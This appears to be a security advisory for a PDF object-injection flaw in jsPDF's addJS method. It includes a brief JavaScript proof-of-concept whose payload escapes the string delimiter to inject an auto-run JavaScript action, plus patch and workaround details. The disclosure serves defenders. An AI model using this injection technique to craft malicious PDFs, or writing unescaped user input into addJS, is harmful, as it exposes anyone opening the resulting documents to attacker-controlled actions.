發布日:2026/2/19修改日:2026/3/19

描述

### Impact User control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF. ```js import { jsPDF } from "jspdf"; const doc = new jsPDF(); // Payload: // 1. ) closes the JS string. // 2. > closes the current dictionary. // 3. /AA ... injects an "Additional Action" that executes on focus/open. const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>"; doc.addJS(maliciousPayload); doc.save("vulnerable.pdf"); ``` ### Patches The vulnerability has been fixed in [email protected]. ### Workarounds Escape parentheses in user-provided JavaScript code before passing them to the `addJS` method. ### References https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md
